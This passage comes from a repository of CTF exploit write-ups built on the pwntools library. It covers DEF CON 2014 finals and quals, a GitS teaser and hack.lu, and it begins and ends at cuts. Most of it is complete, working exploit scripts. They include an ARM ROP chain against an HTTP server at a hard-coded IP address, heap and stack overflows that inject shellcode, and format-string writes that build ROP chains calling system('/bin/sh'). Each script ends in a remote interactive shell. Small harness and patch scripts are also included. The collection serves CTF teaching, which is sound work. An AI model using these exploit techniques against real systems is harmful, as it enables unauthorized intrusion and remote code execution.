= 0x8a50+1 # .text:00008A50 POP {R7,PC} 86 | ``` 87 | 88 | After ROP, we get shell. 89 | -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context.arch = 'thumb' 3 | 4 | s = remote('104.236.216.181', 1703) 5 | 6 | # d95e: 4628 mov r0, r5 7 | # d960: 4631 mov r1, r6 8 | # d962: 463a mov r2, r7 9 | # d964: 4798 blx r3 10 | SET_ARGUMENTS = 0xd95e+1 11 | 12 | # d9b4: df00 svc 0 13 | # d9b6: bd80 pop {r7, pc} 14 | SVC_POP_R7_PC = 0xd9b4+1 15 | 16 | # 1b476: bd08 pop {r3, pc} 17 | POP_R3_PC = 0x1b476+1 18 | 19 | # 8a50: bd80 pop {r7, pc} 20 | POP_R7_PC = 0x8a50+1 21 | 22 | # These BSS addresses are where we will store 23 | # our execve buffers. 24 | BINSH = 0x78ac0 # &"/bin/sh" 25 | P_BINSH = 0x78ad0 # argv 26 | 27 | # 997c: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} 28 | POP_R4_THRU_R9_PC = 0x997c+1 29 | 30 | # 31 | # These registers are loaded when exiting from 32 | # the function whose frame we have overwritten 33 | # 34 | rop = pack(0xdeadbeef) # R4, trash 35 | rop += pack( 0) # R5, read() file descriptor 36 | rop += pack(BINSH) # R6, read() buffer 37 | rop += pack(128) # R7, read() size 38 | rop += pack(POP_R3_PC) # PC 39 | 40 | # 41 | # Now we load up R3 with the address of "pop {r7,pc}", 42 | # which will be used at the end of SET_ARGUMENTS 43 | # 44 | rop += pack(POP_R7_PC) # r3 45 | rop += pack(SET_ARGUMENTS) # pc 46 | 47 | # 48 | # We are now at POP_R7_PC. 49 | # Here we are loading R7, which holds the syscall number. 50 | # 51 | rop += pack(constants.SYS_read) # r7 52 | rop += pack(SVC_POP_R7_PC) # pc 53 | 54 | # We are now at SVC_POP_R7_PC, which invokes read() 55 | # to read "/bin/sh" into the BSS. 56 | rop += pack(0) # r7 = envp 57 | rop += pack(POP_R4_THRU_R9_PC) # pc 58 | 59 | # Now we load up a bunch of registers before 60 | # Execve 61 | rop += pack(0) # r4 62 | rop += pack(BINSH) # r5 63 | rop += pack(P_BINSH) # r6 64 | rop += pack(0) # r7 65 | rop += pack(0) # r8 66 | rop += pack(0) # r9 67 | rop += pack(POP_R3_PC) # pc 68 | 69 | # Here we load up R7 with SYS_execve, and 70 | # then shuffle around all of the registers for 71 | # the syscall 72 | rop += pack(POP_R7_PC) # R3 73 | rop += pack(SET_ARGUMENTS) 74 | rop += pack(constants.SYS_execve) # R7 75 | 76 | # Now we invoke execve() 77 | rop += pack(SVC_POP_R7_PC) 78 | 79 | 80 | # First stage, which sets up our ROP stack 81 | first = 'PATCH /index.html HTTP/1.1\r\nContent-Length: 132\r\n\r\n ' 82 | first += '\x00'*43 83 | first += rop 84 | 85 | # Second stage, which invokes the ROP stack 86 | second = 'PATCH /index.html HTTP/1.1\r\nContent-Length: 1\r\nX-Offset: 4294967280\r\nUser-Agent: aaaaaaaaaaaaaaa' 87 | second += '\x00'*80 88 | second += '\r\n\r\n\x00' 89 | 90 | # Send the first stage 91 | s.send(first) 92 | 93 | # Receive all of the data that gets pumped out 94 | s.recvuntil('HTTP/1.1 200 OK') 95 | s.recvuntil('\r\n') 96 | s.recvuntil('\r\n') 97 | s.recvuntil('\r\n') 98 | s.recvuntil('\r\n') 99 | s.recvuntil('\r\n') 100 | 101 | # Send the second stage 102 | s.send(second) 103 | 104 | # Our ROP stack is now invoking the syscall read(), 105 | # so that we can have "/bin/sh" at a known location 106 | # in the BSS. 107 | s.send('/bin/sh\x00' + 'A'*8 + pack(P_BINSH) + '\x00\x00\x00\x00\n') 108 | 109 | # Should hit execve and win. 110 | s.clean() 111 | s.interactive() 112 | -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image00.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image00.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image01.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image02.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image03.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image04.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image05.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image05.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image06.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image07.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image08.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image08.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image09.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image09.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image10.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image11.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image12.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image13.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image14.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/images/image15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/images/image15.png -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/patch.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # 4 | # This patch changes a BLS (unsigned compare) to BLE (signed compare), 5 | # which should avoid the overflow. 6 | # 7 | context.arch = 'thumb' 8 | elf = ELF('./wdub') 9 | elf.write(0xaa18, '\x04\xdd') 10 | elf.save('./wdub-patch') 11 | -------------------------------------------------------------------------------- /2014/defcon-finals/wdub-v1/wdub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-finals/wdub-v1/wdub -------------------------------------------------------------------------------- /2014/defcon-quals/babyfirst-heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-quals/babyfirst-heap/babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c -------------------------------------------------------------------------------- /2014/defcon-quals/babyfirst-heap/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | # Setup goodies 6 | context(os = 'linux', arch = 'i386') 7 | elf = ELF('./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c') 8 | rop = ROP(elf) 9 | 10 | # Demo should work even without a HOST 11 | if 'HOST' in args: 12 | r = remote(args['HOST'], int(args['PORT'])) 13 | else: 14 | r = process('./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c') 15 | 16 | # Skip header 17 | r.recvuntil('address.\n') 18 | 19 | # Receive the heap locations 20 | addrs = [] 21 | for n in range(20): 22 | r.recvuntil('loc=') 23 | loc = r.recvuntil(']')[:-1] 24 | addrs.append(int(loc, 16)) 25 | r.recvline() 26 | 27 | # Send heap overflow 28 | r.sendline(flat( 29 | elf.got['printf'] - 8, 30 | addrs[10] + 8, 31 | asm('jmp $ + 8'), 32 | 'AAAAAA', 33 | asm(shellcraft.sh()), 34 | 'B'*500 35 | )) 36 | 37 | # GO! 38 | r.clean() 39 | r.interactive() 40 | -------------------------------------------------------------------------------- /2014/defcon-quals/babyfirst-heap/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | context.log_level = 1000 5 | 6 | with tempfile.NamedTemporaryFile() as fd: 7 | s = randoms(12) 8 | fd.write(s) 9 | fd.flush() 10 | 11 | l = listen(0) 12 | l.spawn_process(['./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c']) 13 | p = process(["./doit.py", "SILENT", "HOST=localhost", "PORT=" + str(l.lport)]) 14 | 15 | p.sendline("base64 " + fd.name) 16 | if p.recvline().strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | -------------------------------------------------------------------------------- /2014/defcon-quals/bbgp/bbgp_7cdbfdae936b3c6ed10588119a8279a0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/defcon-quals/bbgp/bbgp_7cdbfdae936b3c6ed10588119a8279a0 -------------------------------------------------------------------------------- /2014/defcon-quals/bbgp/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | 4 | context(arch = 'i386', os = 'linux') 5 | 6 | # Demo should work even without a remote host 7 | if 'HOST' in args: 8 | r = remote(args['HOST'], int(args['PORT'])) 9 | else: 10 | l = listen(0) 11 | l.spawn_process(['./bbgp_7cdbfdae936b3c6ed10588119a8279a0']) 12 | r = remote('localhost', l.lport) 13 | 14 | p16b = make_packer (16, 'big', 'unsigned') 15 | u16b = make_unpacker(16, 'big', 'unsigned') 16 | 17 | BGP_OPEN = 1 18 | BGP_UPDATE = 2 19 | BGP_NOTIFICATION = 3 20 | BGP_KEEPALIVE = 4 21 | 22 | def send_pkt(cmd, payload): 23 | """Send a BGP packet""" 24 | r.send(flat( 25 | "\xff" * 16, 26 | p16b(len(payload) + 19), 27 | cmd, 28 | payload, 29 | word_size = 8 30 | )) 31 | 32 | def recv_packet(cmd_type): 33 | """Receive a BGP packet of type cmd_type""" 34 | 35 | r.recvn(16) 36 | length = u16b(r.recvn(2)) 37 | cmd = r.recvn(1) 38 | assert cmd == p8(cmd_type) 39 | return r.recvn(length-19) 40 | 41 | def do_handshake(holdtime): 42 | """Does a handshake with the binary""" 43 | optparam = "\x02\x06\x01\x04\x00\x01\x00\x01" 44 | send_pkt(BGP_OPEN, flat( 45 | 4, 46 | "AA", 47 | p16b(holdtime), 48 | "AAAA", 49 | len(optparam), 50 | optparam, 51 | word_size = 8, 52 | )) 53 | 54 | # Receive the two packages from the handshake 55 | recv_packet(BGP_OPEN) 56 | recv_packet(BGP_KEEPALIVE) 57 | 58 | def announce_leak(): 59 | # They have a bug in their update. 60 | # They send a pointer to an ip address in string-format 61 | # instead of the converted u32 62 | ip_addr = 0x4068 63 | msg = recv_packet(BGP_UPDATE) 64 | return u32(msg[-4:]) - ip_addr 65 | 66 | def do_update_overflow(base): 67 | # Bug in their handling of updates. 68 | # TBH I don't remember how it works 69 | return_gadget = p32(base + 0x189D) 70 | 71 | widthdrawn_size = p16b(0) 72 | path_size = p16b(23) 73 | flag1 = 0 74 | flag2 = 4 75 | n = 20 76 | data = asm('jmp $ + 20').ljust(16) + return_gadget 77 | code = asm(shellcraft.findpeersh()) 78 | send_pkt(2, flat( 79 | widthdrawn_size, 80 | path_size, 81 | flag1, 82 | flag2, 83 | n, 84 | data, 85 | code, 86 | word_size = 8 87 | )) 88 | 89 | do_handshake(9) 90 | base = announce_leak() 91 | do_update_overflow(base) 92 | 93 | # There is an alarm, please make it go away 94 | r.sendline("bash") 95 | r.clean() 96 | 97 | # WIN! 98 | r.interactive() 99 | -------------------------------------------------------------------------------- /2014/defcon-quals/bbgp/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | context.log_level = 1000 5 | 6 | with tempfile.NamedTemporaryFile() as fd: 7 | s = randoms(12) 8 | fd.write(s) 9 | fd.flush() 10 | 11 | l = listen(0) 12 | l.spawn_process(['./bbgp_7cdbfdae936b3c6ed10588119a8279a0']) 13 | p = process(["./doit.py", "SILENT", "HOST=localhost", "PORT=" + str(l.lport)]) 14 | 15 | p.sendline("base64 " + fd.name) 16 | if p.recvline().strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | -------------------------------------------------------------------------------- /2014/gits-teaser/citadel/README: -------------------------------------------------------------------------------- 1 | Depends on libc++1 2 | -------------------------------------------------------------------------------- /2014/gits-teaser/citadel/citadel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/gits-teaser/citadel/citadel -------------------------------------------------------------------------------- /2014/gits-teaser/citadel/doit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from pwn import * 3 | context(arch = 'amd64', os = 'linux') 4 | 5 | # Made by Kokjo and Idolf 6 | if 'HOST' in args: 7 | HOST = args['HOST'] 8 | PORT = int(args.get('PORT', 5060)) 9 | else: 10 | # Otherwise start the binary locally 11 | HOST = 'localhost' 12 | PORT = 5060 13 | service = process('./citadel') 14 | sleep(0.1) 15 | 16 | #Gadgets 17 | buf = 0x6131a0 18 | pop_rdi = 0x402ea2 19 | pop_rsi_r15 = 0x402ea0 20 | pop_rdx = 0x403220 21 | recv = 0x4018d0 22 | send = 0x401950 23 | pop_rsp_r13_r14_r15 = 0x403a37 24 | mov_rcx_rsi55 = 0x406b35 25 | null_bytes = 0x40e890 26 | writable = 0x613f90 27 | 28 | r = remote(HOST, PORT) 29 | def new_conn(): 30 | global r 31 | with context.local(log_level = 100): 32 | r.close() 33 | r = remote(HOST, PORT) 34 | 35 | def do_register(name, to): 36 | r.sendline('REGISTER FOO GITSSIP/1.0') 37 | r.sendline('Common Name: ' + name) 38 | r.sendline('To: ' + to) 39 | r.sendline('From: ' + 'A') 40 | r.sendline('Expires: ' + 'A') 41 | r.sendline('Contact: ' + 'A') 42 | r.sendline('') 43 | 44 | def do_directory_search(what): 45 | r.sendline('DIRECTORY FOO GITSSIP/1.0') 46 | r.sendline('Search: ' + what) 47 | 48 | #Leak the stack address 49 | do_register("A", "%44$p") 50 | do_directory_search("*") 51 | 52 | r.recvuntil('To: 0x') 53 | 54 | addr = int(r.recvuntil(',')[:-1], 16) 55 | #address of the return address of the function that handles directory requests 56 | ret_addr = addr - 312 57 | 58 | #Abuse asprintf to write our rop to the stack, when doing a search for * 59 | def put_rop(rop1): 60 | for n, c in enumerate(rop1): 61 | name = randoms(7, string.letters) + p64(ret_addr + n).rstrip('\x00') 62 | already_printed = len("%d : [Status: IDLE, To: " % n) 63 | to_print = ord(c) - already_printed 64 | if to_print <= 0: 65 | to_print += 256 66 | 67 | assert '\n' not in name 68 | do_register(name, "%" + str(to_print) + "d%9$n") 69 | 70 | #Do one leak by ropping to send and recv 71 | @MemLeak 72 | def leaker(addr, length = None): 73 | try: 74 | new_conn() 75 | 76 | length = 0x7e 77 | 78 | # pivot to get to buf 79 | rop1 = flat(pop_rsp_r13_r14_r15, buf - 3*8) 80 | 81 | # just a rop chain to recieve an address and leak some memory 82 | # placed at buf 83 | rop2 = flat( 84 | pop_rsi_r15, null_bytes - 0x55, 0, 85 | pop_rdi, writable - 0x50, 86 | mov_rcx_rsi55, 87 | pop_rdi, 4, 88 | pop_rsi_r15, 0x613258, 0, 89 | pop_rdx, 8, 90 | recv, 91 | pop_rsi_r15, null_bytes - 0x55, 0, 92 | pop_rdi, writable - 0x50, 93 | mov_rcx_rsi55, 94 | pop_rdi, 4, 95 | pop_rsi_r15, 0, 0, 96 | pop_rdx, length, 97 | send, 98 | ) 99 | 100 | put_rop(rop1) 101 | do_register(rop2, "A") 102 | do_directory_search("*") 103 | 104 | r.recvuntil('16 : [') 105 | r.recvuntil(']') 106 | r.send(p64(addr)) 107 | return r.recvn(length) 108 | except EOFError: 109 | return None 110 | 111 | #Use DynELF to get the address from system, by using the leaker. 112 | 113 | d = DynELF(leaker, elf = ELF('./citadel')) 114 | system = d.lookup('system', "libc.so") 115 | 116 | new_conn() 117 | 118 | rop1 = flat( 119 | pop_rdi, buf, 120 | system, 121 | ) 122 | 123 | put_rop(rop1) 124 | do_register("/bin/sh <&4 >&4 2>&4 &", "A") 125 | do_directory_search("*") 126 | 127 | r.recvuntil(" &]") 128 | 129 | #And we have shell! 130 | r.interactive() 131 | 132 | if service: 133 | service.close() 134 | -------------------------------------------------------------------------------- /2014/gits-teaser/citadel/harness.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import os, signal 5 | context.log_level = 1000 6 | 7 | with tempfile.NamedTemporaryFile() as fd: 8 | s = randoms(12) 9 | fd.write(s) 10 | fd.flush() 11 | 12 | try: 13 | p = process(["./doit.py", "SILENT"]) 14 | 15 | p.sendline("base64 " + fd.name) 16 | if p.recvline(timeout = 10).strip() == b64e(s): 17 | print "ok" 18 | else: 19 | print "not ok" 20 | finally: 21 | p.close() 22 | -------------------------------------------------------------------------------- /2014/hacklu/holy-moses/expl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ 3 | 4 | ----- SALOON ------ 5 | 6 | Routine sub_1066 will allow us to fill the stack with data. 7 | 8 | sub_1066 9 | -0000000000000040 buf db 64 dup(?) 10 | +0000000000000000 s db 8 dup(?) 11 | +0000000000000008 r db 8 dup(?) 12 | 13 | Routine sub_117C does not zero the buffers or null terminate them. 14 | We can cause the stale stack data from sub_1066 to be interpreted 15 | as an extension of 'name' if 'name' is exactly 0x10 characters 16 | (the delta in positions on the stack). 17 | 18 | sub_117C 19 | -0000000000000050 name db 32 dup(?) 20 | -0000000000000030 age db 40 dup(?) 21 | -0000000000000008 age_int dq ? 22 | +0000000000000000 s db 8 dup(?) 23 | +0000000000000008 r db 8 dup(?) 24 | 25 | We also need to make age be a valid integer for strtoull, and the 26 | result not to have any NUL bytes in it. The function 'strtoull' 27 | will read the first integer, up to the first whitespace. 28 | 29 | Return from age strtoull is not checked, but it's important for later. 30 | 31 | In sub_10F9 there's a sprintf() that's vulnerable to a buffer overflow. 32 | If we overwrite the least significant byte with the NULL terminator which 33 | is forced by snprintf, due to aliasing in the binary we can land at a printf. 34 | 35 | sub_10F9 36 | -0000000000000050 age dq ? 37 | -0000000000000048 name dq ? ; offset 38 | -0000000000000040 buffer64 db 64 dup(?) 39 | +0000000000000000 s db 8 dup(?) 40 | +0000000000000008 r db 8 dup(?) 41 | 42 | .text:0000000000001213 058 call sub_10F9 ; Call Procedure 43 | 44 | .text:0000000000001200 058 call printf ; Call Procedure 45 | """ 46 | 47 | import string 48 | from pwn import * 49 | 50 | #gdb-peda$ checksec 51 | #CANARY : disabled 52 | #FORTIFY : disabled 53 | #NX : ENABLED 54 | #PIE : ENABLED 55 | #RELRO : FULL 56 | 57 | context(arch='amd64', word_size=64, os='linux', timeout=0.25) 58 | 59 | # run with python exploit.py REMOTE=wildwildweb.fluxfingers.net 60 | if 'REMOTE' not in args: 61 | port = random.randint(2000, 50000) 62 | server = process(['./saloon', str(port)]) 63 | else: 64 | port = 1405 65 | 66 | connect = lambda: saloon(args['REMOTE'] or "localhost", port) 67 | 68 | class saloon(remote, MemLeak): 69 | def __init__(self, *args, **kwargs): 70 | super(saloon, self).__init__(*args, **kwargs) 71 | self.recvuntil("Your choice: ") 72 | 73 | def fill_stack(self, data='X'*8): 74 | log.info("Filling stack with %i bytes" % len(data)) 75 | self.send('1') 76 | self.recvuntil("Code (12 bytes): ") 77 | assert len(data) <= 0x40 78 | self.send(data) 79 | 80 | def name_age(self, name='N'*7, age=1234567): 81 | log.info("Sending name %r and age %r" % (name, age)) 82 | self.send("2") 83 | self.recvuntil("Age: ") 84 | self.send(age if isinstance(age,str) else str(age) + ' ') 85 | self.recvuntil("Name: ") 86 | self.send(name) 87 | 88 | def exit(self): 89 | self.send("3") 90 | 91 | def leak(address): 92 | # Leak memory by overwriting the least significant 93 | # byte of the return address with a NULL terminator 94 | # placed by snprintf() to return to printf(), with 95 | # RDI=Name 96 | # RSI=Age 97 | # This permits us to set name='%s' for example and 98 | # leak arbitrary memory. 99 | 100 | # The name must be sixteen characters wide in order 101 | # to line up with the left-over stack data. 102 | name = '<<<%s>>>'.ljust(16, '$') 103 | 104 | # The snprintf() puts this string at the beginning 105 | prompt = 'Blocked request from ' 106 | 107 | # The stack looks like this in the routine where we 108 | # overwrite $RA 109 | # 110 | # RDI points to the beginning of the destination buffer 111 | # for snprintf (at 24). 112 | # 113 | # The return address starts at 96. 114 | # 115 | # 00:0000| rsp 0x7fff60c495f8 --> 0x7fc05c7a3156 (lea rax,[rbp-0x40]) 116 | # 01:0008| 0x7fff60c49600 --> 0x12d687 117 | # 02:0016| 0x7fff60c49608 --> 0x7fff60c49660 --> 0x4e4e4e4e4e4e4e (b'NNNNNNN') 118 | # 03:0024| rdi 0x7fff60c49610 --> 0x0 119 | # 04:0032| 0x7fff60c49618 --> 0x0 120 | # 05:0040| 0x7fff60c49620 --> 0x0 121 | # 06:0048| 0x7fff60c49628 --> 0x0 122 | # 07:0056| 0x7fff60c49630 --> 0x0 123 | # 08:0064| 0x7fff60c49638 --> 0x0 124 | # 09:0072| 0x7fff60c49640 --> 0x7fff60c40000 --> 0x0 125 | # 10:0080| 0x7fff60c49648 --> 0x7fc05c7a3715 --> 0x4600203a656d614e 126 | # 11:0088| rbp 0x7fff60c49650 --> 0x7fff60c496b0 --> 0x7fff60c496e0 --> 0x7fff60c49730 --> 0x0 127 | # 12:0096| 0x7fff60c49658 --> 0x7fc05c7a3218 (test eax,eax) 128 | # 129 | target_size = 96-24 130 | target_size -= len(prompt) 131 | target_size -= len(name) 132 | 133 | with context.local(log_level='error'): 134 | with connect() as c: 135 | # pid = pidof(c)[0] 136 | # maps = read('/proc/%s/maps' % pid) 137 | 138 | c.fill_stack(cyclic(target_size+1)) 139 | c.name_age(name=name, age=address) 140 | data = c.recvall() 141 | 142 | match = re.search(r'<<<(.*)>>>', data, flags=re.DOTALL) 143 | if not match: 144 | print "Failed to leak %#x" % (address) 145 | # print maps 146 | return '\x00' 147 | 148 | leaked_data = match.group(1) 149 | if leaked_data == '': 150 | leaked_data = '\x00' 151 | 152 | log.debug("Leaked %#x: %s" % (address, leaked_data.encode('hex'))) 153 | 154 | return leaked_data 155 | leak = MemLeak(leak, search_range=1) 156 | 157 | def leak_stack_address(): 158 | """ 159 | We can leak a stack address via uninitialized data on the stack. 160 | 161 | Here's how the stack looks when it is passed to snprintf, where $rcx 162 | points to our name buffer. 163 | 164 | gdb-peda$ telescope $rcx 165 | 00:0000| rcx 0x7fff4fac1b80 ('X' , "p\033\254O\377\177") 166 | 01:0008| 0x7fff4fac1b88 ('X' , "p\033\254O\377\177") 167 | 02:0016| 0x7fff4fac1b90 ("XXXXXXXXp\033\254O\377\177") 168 | 03:0024| 0x7fff4fac1b98 --> 0x7fff4fac1b70 --> 0x7fff4fac1bd0 --> 0x7fff4fac1c00 --> 0x7fff4fac1c50 --> 0x0 169 | 04:0032| 0x7fff4fac1ba0 ("1234567 \204\237\025.}\177") 170 | """ 171 | 172 | name = 'X'*8*3 173 | with context.local(log_level='error'): 174 | with connect() as c: 175 | c.name_age(name) 176 | c.exit() 177 | result = c.recvall() 178 | 179 | # Trim everything before and including the leading Xes 180 | result = result[result.rindex('X')+1:] 181 | 182 | # Trim "There is..." 183 | result = result[:result.rindex('There')] 184 | 185 | # Pad to eight bytes with zeroes 186 | result = result.ljust(8, '\x00') 187 | 188 | # Unpack as integer 189 | return unpack(result) 190 | 191 | 192 | # 193 | # Let's leak some uninitialized stack, which contains a stack 194 | # pointer itself! 195 | # 196 | stack = leak_stack_address() 197 | log.success("Leaked stack: %#x" % stack) 198 | 199 | 200 | # 201 | # Cool, now we can leak stack contents. At offset +8 from 202 | # our leaked pointer is a left-over return address. We 203 | # can use this to resolve the base address of the module. 204 | # 205 | pointer = leak.q(stack + 8) 206 | base = DynELF.find_base(leak, pointer) 207 | log.success("Leaked base address %#x" % base) 208 | 209 | # 210 | # Now that we know the base address, we can leak the resolved 211 | # GOT entry for a libc routine. 212 | # 213 | elf = ELF('./saloon') 214 | elf.address = base 215 | libc_ptr = leak.q(elf.got['write']) 216 | 217 | # 218 | # With a pointer into libc, we can resolve arbitrary routines inside of it. 219 | # 220 | dyn_libc = DynELF.for_one_lib_only(leak, libc_ptr) 221 | # system = (dyn_libc.libbase + 0x5a4ad0) 222 | system = dyn_libc.lookup('system') 223 | 224 | # 225 | # Awesome, we've got system. 226 | # 227 | # Going back to our leaked stack data, it appears that our 'name' 228 | # buffer starts 16 bytes after it. 229 | # 230 | p_name = stack + 16 231 | 232 | # 233 | # Now we can trigger the overflow to overwrite the entire return 234 | # address (versus just the LSB) and call system. 235 | # 236 | # See the leak() routine above for more information on these offsets. 237 | # 238 | c = connect() 239 | c.clean_and_log(0.5) 240 | c.fill_stack('A'*63) 241 | c.clean_and_log(0.5) 242 | c.name_age(name='/bin/sh;'.ljust(27), age=str(p_name) + ' ' + pack(system)[:6] + '!' + '\x00') 243 | c.interactive() -------------------------------------------------------------------------------- /2014/hacklu/holy-moses/saloon: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2014/hacklu/holy-moses/saloon -------------------------------------------------------------------------------- /2016/defcon_quals/glados/glados: -------------------------------------------------------------------------------- 1 | glados_noalarm_noaslr -------------------------------------------------------------------------------- /2016/defcon_quals/glados/glados_noalarm_noaslr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2016/defcon_quals/glados/glados_noalarm_noaslr -------------------------------------------------------------------------------- /2016/defcon_quals/glados/glados_original: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2016/defcon_quals/glados/glados_original -------------------------------------------------------------------------------- /2016/defcon_quals/heapfun/heapfun4u: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/2016/defcon_quals/heapfun/heapfun4u -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE 